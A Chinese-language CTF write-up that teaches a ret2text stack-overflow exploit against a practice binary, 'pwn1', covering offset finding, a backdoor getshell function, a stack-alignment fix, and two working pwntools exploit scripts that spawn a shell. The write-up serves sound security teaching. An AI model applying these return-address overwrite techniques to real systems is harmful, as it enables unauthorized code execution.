【pwn-栈溢出】— ret2text

目录

  • pwn1
    • 0x1、程序信息
    • 0x2、保护情况
    • 0x3、检测漏洞函数
    • 0x4、确定偏移量
    • 0x5、寻找可以利用的函数
    • 0x6、编写利用脚本
    • 0x7、调试观察
    • 0x8、修改脚本
    • 0x9、总结
      • 9.1、pwn基本流程
      • 9.2、GDB调试指令
      • 9.3、拓展

pwn1

0x1、程序信息

描述 内容
程序名称 pwn1
程序平台 linux
程序来源 ctf_wiki
CPU架构 amd64
libc版本 2.31
利用手法 ret2text
系统版本 Ubuntu 20.04 LTS
下载地址 https://wwnd.lanzoue.com/i3ITH0qeayje

0x2、保护情况

Arch:程序架构信息,i386-32-little——32位小端,amd64—64-little——64位小端

NX保护:堆、栈、BSS段不可执行。

RELRO保护:整个GOT表只读,无法被覆盖。

【pwn-栈溢出】— ret2text_第1张图片

0x3、检测漏洞函数

1.将程序载入到ida中,找到main函数,下方有一个vuln函数,跟随进去看看

【pwn-栈溢出】— ret2text_第2张图片


2.漏洞利用点在scanf函数上,未控制缓冲区大小,输入超过16个字符缓冲区将溢出

【pwn-栈溢出】— ret2text_第3张图片

0x4、确定偏移量

1.在上面的vuln函数中我们可以看到,v1变量与rbp的偏移量是0x10,也就是16字节

2.为了验证IDA帮我们分析出来的这个偏移量是正确的,我们决定用动态调试方法进行确定

【pwn-栈溢出】— ret2text_第4张图片


3.使用gdb加载程序,在0x4006B2处下一个断点

【pwn-栈溢出】— ret2text_第5张图片


4.可以输入context查看上下文信息

【pwn-栈溢出】— ret2text_第6张图片

0x5、寻找可以利用的函数

1.在ida中的函数窗口栏发现有一个getshell函数,它直接就是帮我们运行一个shell

image-20210922111155264


2.看它的反汇编复制它的地址(0x400686),作为我们溢出后返回的位置

【pwn-栈溢出】— ret2text_第7张图片

0x6、编写利用脚本

#!/usr/bin/python3 
from pwn import *


# 调试日志级别
context.log_level = 'debug'

# 将pwn1程序启动为进程
io = process('./pwn1')

# 构建payload,flat是将列表中的元素给组合起来
# "A" * 0x10 这个是vuln函数缓冲区大小
# p64(0xdeadbeef)表示8字节的整数,用来覆盖rbp,这个值可以任意填
# p64(0x400686)返回地址,返回到get_shell函数开头
payload = flat(['A'* 0x10,p64(0xdeadbeef),p64(0x400686)])

# 使用gdb附加调试
gdb.attach(io)

# 暂停,等待按任意健,程序继续往下执行
pause()

# 接受到Input:字符串后发送payload
io.sendlineafter("Input:",payload)

# 获取交互式shell环境
io.interactive()

0x7、调试观察

1.我们在vuln函数的leave指令处下一个断点,准备动态调试观察栈信息

【pwn-栈溢出】— ret2text_第8张图片


2.运行exp1.py脚本,在gdb中下断点,并且输入c(continue)指令回车继续

【pwn-栈溢出】— ret2text_第9张图片


3.在exp1.py叫脚本窗口按回车继续,右边的gdb就会断下来,可以看到当前堆栈的返回地址已经覆盖成了getshell函数的首地址

【pwn-栈溢出】— ret2text_第10张图片


4.我们输入c指令继续运行,发现程序断在了这里,看下面的堆栈信息,是出现了异常

【pwn-栈溢出】— ret2text_第11张图片


5.我们去脚本窗口,输入命令试一试,发现输入命令后没有回显,利用并未成功

【pwn-栈溢出】— ret2text_第12张图片

6.经过上网查找资料发现,movaps它要求RSP必须是16字节对齐

【pwn-栈溢出】— ret2text_第13张图片

7.我们将当前的RSP除以16发现并没有整除,后面有小数点


8.我们看一看这个函数上方哪里操作了RSP,发现是第一句 push rbp,所以我们跳过这个地址,选择0x40068A这个地址作为返回地址执行

【pwn-栈溢出】— ret2text_第14张图片

0x8、修改脚本

1.修改后的脚本

#!/usr/bin/python3 
from pwn import *

io = process('./pwn1')

# 将原来的0x400686改成0x40068A
payload = flat(['A'* 0x10,p64(0xdeadbeef),p64(0x40068A)])

io.sendlineafter("Input:",payload)

io.interactive()

2.再次运行exp1.py,完美利用成功执行命令

【pwn-栈溢出】— ret2text_第15张图片

0x9、总结

9.1、pwn基本流程

  1. 使用checksec检查程序的架构以及保护情况
  2. 寻找程序漏洞函数,比如如gets,scanf等
  3. 计算目标变量的在堆栈中与栈底(32:ebp,64:rbp)的之间偏移
  4. 查看程序导入表,观察表中是否已导入可利用的函数,比如system,execve等
  5. 分析是否有字符串/bin/sh,将它作为system的参数
    • 在此程序中,它直接提供一个后门函数,供我们使用

9.2、GDB调试指令

  1. gdb -q:静默运行程序(不输出gdb启动时提示的版本信息)

  2. b:下断点

  3. c:继续运行

  4. context:查看上下文信息(堆栈、寄存器、反汇编)

  5. quit:退出GDB

9.3、拓展

  • ctf-pwn-tips:里面总结了很多的存在漏洞的函数,以及输入参数的描述,非常实用。

【pwn-栈溢出】— ret2text_第16张图片

战队官网:https://www.edisec.net/

战队CTF靶场:https://ctf.edisec.net/#/index

战队新社区:https://bbs.edisec.net

你可能感兴趣的:(PWN基础,网络安全)